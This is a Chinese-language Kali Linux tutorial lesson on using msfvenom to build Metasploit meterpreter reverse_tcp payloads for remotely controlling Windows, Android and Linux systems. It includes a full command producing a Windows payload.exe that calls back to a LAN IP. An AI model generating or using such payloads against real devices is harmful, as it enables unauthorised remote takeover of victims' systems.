kali linux渗透测试

第11课 如何远程控制安卓手机和Windows系统

在上一期的视频中，我们使用msfvenom生成了一个最简单的被控端。它是基于Metasploit中提供的**windows/meterpreter/reverse_tcp**生成的。

在Metasploit的Payload分类下，为我们提供了非常多的被控端程序。
我们可以是用命令查看所有的Payload：**msfvenom -l payloads**
一共500多个被控端程序，随着更新，这个数字还会增加

所有的Payload模块的名字都是三段式：操作系统+控制方式+模块具体名称
例如：**windows/meterpreter/reverse_tcp**

Payload按照操作系统进行分类：windows，Linux，Android，Osx，IOS等

最后面模块的名称中，一般会给出这个Payload是正向控制，还是反向控制

何为正向控制和反向控制?

正向控制：黑客必须知道目标主机的IP，目标主机作为被控端，在被控程序执行后，不会通知主控端，自己已经上线。

反向控制：黑客不需要知道目标主机IP，只需要在被控端程序中设置好自己主机的IP，在被控端程序被激活后，被控端会主动通知主控端，自己已经上线。（反向控制最常用）

在选择好Payload之后，我们接下来就需要给Payload设置参数，比如：IP，端口

如果我们第一次使用某个Payload，不清楚该设置哪些参数，我们可以命令进行查看：

msfvenom -p windows/meterpreter/reverse_tcp --list-options

设置好参数，接下来我们就需要考虑输出文件的格式，我们可以使用命令，查看Metasploit都支持输出哪些格式：**msfvenom --list formats**

最后，我们设置文件输出存放的目录以及文件生成之后的名称

msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.23.139 lport=5555 -f exe -o /root/payload.exe

课后练习：

生成适用于安卓和Linux系统的被控端程序

android/meterpreter/reverse_tcp

linux/x64/meterpreter/reverse_tcp

谢谢观赏